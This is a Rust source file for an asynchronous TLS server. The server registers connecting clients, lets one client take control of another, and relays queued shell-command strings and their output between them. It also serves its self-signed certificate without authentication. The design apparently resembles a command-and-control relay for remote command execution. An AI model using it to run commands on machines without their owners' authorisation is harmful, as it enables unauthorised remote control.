318 lines
13 KiB
Rust
318 lines
13 KiB
Rust
use rcgen::generate_simple_self_signed;
|
|
use std::error::Error;
|
|
use std::fs::File;
|
|
use std::fs::write;
|
|
use std::io::BufReader;
|
|
use std::net::SocketAddr;
|
|
use std::path::PathBuf;
|
|
use std::sync::{Arc, Mutex};
|
|
use std::usize;
|
|
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
|
|
use tokio::net::{TcpListener, TcpStream};
|
|
use tokio_rustls::TlsAcceptor;
|
|
use tokio_rustls::rustls::ServerConfig;
|
|
use tokio_rustls::rustls::pki_types::{CertificateDer, PrivateKeyDer};
|
|
|
|
#[derive(Clone)]
|
|
enum ClientAction {
|
|
Output(String),
|
|
Cmd(String),
|
|
Ping,
|
|
}
|
|
|
|
pub struct Client {
|
|
address: String,
|
|
id: usize,
|
|
hostname: Option<String>,
|
|
actions: Vec<ClientAction>,
|
|
controlling: usize,
|
|
controlled: usize,
|
|
output_que: Vec<String>,
|
|
}
|
|
|
|
pub struct Server {
|
|
pub address: String,
|
|
pub clients: Vec<Client>,
|
|
pub certificate_path: PathBuf,
|
|
pub key_path: PathBuf,
|
|
}
|
|
|
|
pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
|
|
let lock = server.lock().unwrap();
|
|
if !lock.certificate_path.exists() || !lock.key_path.exists() {
|
|
let (server_ip, _) = lock.address.split_once(':').unwrap();
|
|
|
|
let cert = generate_simple_self_signed(vec![
|
|
server_ip.to_string(),
|
|
"127.0.0.1".to_string(),
|
|
"localhost".to_string(),
|
|
])?;
|
|
|
|
write(&lock.certificate_path, cert.cert.pem())?;
|
|
|
|
write(&lock.key_path, cert.signing_key.serialize_pem())?;
|
|
}
|
|
|
|
let certs = load_certs(&lock.certificate_path)?;
|
|
let key = load_key(&lock.key_path)?;
|
|
|
|
let tls_config = ServerConfig::builder()
|
|
.with_no_client_auth()
|
|
.with_single_cert(certs, key)?;
|
|
|
|
let acceptor = TlsAcceptor::from(Arc::new(tls_config));
|
|
|
|
let listener = TcpListener::bind(lock.address.clone()).await?;
|
|
|
|
println!("Listening on {}", lock.address);
|
|
|
|
drop(lock);
|
|
|
|
loop {
|
|
let (stream, addr) = listener.accept().await?;
|
|
|
|
let acceptor = acceptor.clone();
|
|
let server = server.clone();
|
|
|
|
tokio::spawn(async move {
|
|
let mut peek = [0u8; 8];
|
|
if let Ok(n) = stream.peek(&mut peek).await {
|
|
if n >= 8 && &peek[..8] == b"CERT_REQ" {
|
|
handle_bootstrap(server, stream).await;
|
|
return;
|
|
}
|
|
}
|
|
match acceptor.accept(stream).await {
|
|
Ok(tls_stream) => {
|
|
handle_connection_stat9ic(server, tls_stream, addr).await;
|
|
}
|
|
|
|
Err(e) => {
|
|
eprintln!("TLS handshake failed: {}", e);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
}
|
|
|
|
fn load_certs(path: &std::path::Path) -> Result<Vec<CertificateDer<'static>>, Box<dyn Error>> {
|
|
let mut reader = BufReader::new(File::open(path)?);
|
|
|
|
Ok(rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?)
|
|
}
|
|
|
|
fn load_key(path: &std::path::Path) -> Result<PrivateKeyDer<'static>, Box<dyn Error>> {
|
|
let mut reader = BufReader::new(File::open(path)?);
|
|
|
|
let key = rustls_pemfile::private_key(&mut reader)?.ok_or("No private key found")?;
|
|
|
|
Ok(key)
|
|
}
|
|
|
|
async fn handle_bootstrap(server: Arc<Mutex<Server>>, mut stream: TcpStream) {
|
|
let mut buf = [0u8; 1024];
|
|
let n = match stream.read(&mut buf).await {
|
|
Ok(n) => n,
|
|
Err(_) => return,
|
|
};
|
|
if n == 0 {
|
|
return;
|
|
}
|
|
let msg = String::from_utf8_lossy(&buf[..n]);
|
|
if msg.trim() != "CERT_REQ" {
|
|
return;
|
|
}
|
|
let cert_path = {
|
|
let lock = server.lock().unwrap();
|
|
lock.certificate_path.clone()
|
|
};
|
|
let cert_pem = match std::fs::read_to_string(cert_path) {
|
|
Ok(c) => c,
|
|
Err(_) => return,
|
|
};
|
|
let response = format!("CERT|{}\n", cert_pem);
|
|
let _ = stream.write_all(response.as_bytes()).await;
|
|
}
|
|
|
|
async fn handle_connection_stat9ic<S>(server: Arc<Mutex<Server>>, mut stream: S, addr: SocketAddr)
|
|
where
|
|
S: AsyncRead + AsyncWrite + Unpin,
|
|
{
|
|
let mut buf = vec![0u8; 4096];
|
|
let n = match stream.read(&mut buf).await {
|
|
Ok(n) => n,
|
|
Err(e) => {
|
|
eprintln!("Read Error: {e}");
|
|
return;
|
|
}
|
|
};
|
|
if n == 0 {
|
|
return;
|
|
}
|
|
let msg = String::from_utf8_lossy(&buf[..n]);
|
|
if msg.contains("HELLO") {
|
|
let mut connected = false;
|
|
let mut id = 0;
|
|
if let Ok(mut lock) = server.lock() {
|
|
let new_client = Client {
|
|
address: addr.to_string(),
|
|
id: lock.clients.len() + 1,
|
|
hostname: None,
|
|
actions: Vec::new(),
|
|
controlled: 0,
|
|
controlling: 0,
|
|
output_que: Vec::new(),
|
|
};
|
|
connected = true;
|
|
id = new_client.id.clone();
|
|
lock.clients.push(new_client);
|
|
}
|
|
if connected {
|
|
stream
|
|
.write_all(format!("HELLO|{}\n", id).as_bytes())
|
|
.await
|
|
.unwrap();
|
|
println!("client connected! ID:{}", id,);
|
|
}
|
|
} else {
|
|
if let Some((source, data)) = msg.split_once("|||") {
|
|
if let Ok(source_id) = source.trim().parse::<usize>() {
|
|
let mut responses = Vec::new();
|
|
if let Ok(mut lock) = server.lock() {
|
|
if let Some(source_client) = lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
responses = source_client.actions.clone();
|
|
}
|
|
data.split("||").into_iter().for_each(|action| {
|
|
if let Some((cmd, data)) = action.split_once("|") {
|
|
match cmd.trim() {
|
|
"OUTPUT" => {
|
|
if let Some(dest_client) =
|
|
lock.clients.iter_mut().find(|c| c.controlling == source_id)
|
|
{
|
|
dest_client.actions.push(ClientAction::Output(format!(
|
|
"from {}: {}",
|
|
dest_client.id,
|
|
data.trim()
|
|
)));
|
|
} else {
|
|
if let Some(source_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
source_client.output_que.push(data.trim().to_string());
|
|
}
|
|
}
|
|
}
|
|
"CMD" => {
|
|
if let Some(dest_client) =
|
|
lock.clients.iter_mut().find(|c| c.controlled == source_id)
|
|
{
|
|
dest_client
|
|
.actions
|
|
.push(ClientAction::Cmd(data.to_string()));
|
|
responses.push(ClientAction::Output(format!(
|
|
"tasked client {} to run {}",
|
|
dest_client.id, cmd
|
|
)));
|
|
}
|
|
}
|
|
"CONTROL" => {
|
|
let new_control_id = data.trim().parse::<usize>().unwrap();
|
|
if let Some(controlling_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
controlling_client.controlling = new_control_id.clone();
|
|
}
|
|
if let Some(contlled_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == new_control_id)
|
|
{
|
|
contlled_client.controlled = source_id;
|
|
} else {
|
|
if let Some(controlling_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
controlling_client.controlling = 0;
|
|
}
|
|
}
|
|
}
|
|
"STOP_CONTROL" => {
|
|
if let Some(source_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
if source_client.controlling != 0 {
|
|
let dest_client_id = source_client.controlling.clone();
|
|
if let Some(dest_client) = lock
|
|
.clients
|
|
.iter_mut()
|
|
.find(|c| c.id == dest_client_id)
|
|
{
|
|
dest_client.controlled = 0;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
"BREAK_CONTROL" => {
|
|
if let Some(source_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
if source_client.controlled != 0 {
|
|
let dest_id = source_client.controlled.clone();
|
|
source_client.controlled = 0;
|
|
if let Some(dest_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == dest_id)
|
|
{
|
|
dest_client.controlling = 0;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
"LIST_CLIENTS" => {
|
|
lock.clients.iter().for_each(|c| {
|
|
let out = format!("{}: {}", c.id, c.address);
|
|
println!("client list requested!");
|
|
println!("adding {} to response...", out);
|
|
responses.push(ClientAction::Output(out));
|
|
});
|
|
}
|
|
"TEST" => {
|
|
responses.push(ClientAction::Output("TEST BACK".to_string()));
|
|
}
|
|
_ => {}
|
|
}
|
|
}
|
|
});
|
|
}
|
|
if responses.len() > 0 {
|
|
let mut messages = Vec::new();
|
|
for r in responses {
|
|
match r {
|
|
ClientAction::Cmd(cmd) => {
|
|
messages.push(format!("CMD|{}", cmd));
|
|
}
|
|
ClientAction::Output(text) => {
|
|
println!("adding {} to output", text);
|
|
messages.push(format!("OUTPUT|{}", text));
|
|
}
|
|
ClientAction::Ping => {
|
|
messages.push(format!("PONG"));
|
|
}
|
|
}
|
|
}
|
|
let full_message = messages.join("||");
|
|
println!("attempting to send {}", full_message);
|
|
let buf = full_message.as_bytes();
|
|
stream.write(buf).await.unwrap();
|
|
println!("buffer written!");
|
|
if let Ok(mut lock) = server.lock() {
|
|
if let Some(source_client) =
|
|
lock.clients.iter_mut().find(|c| c.id == source_id)
|
|
{
|
|
source_client.actions.clear();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|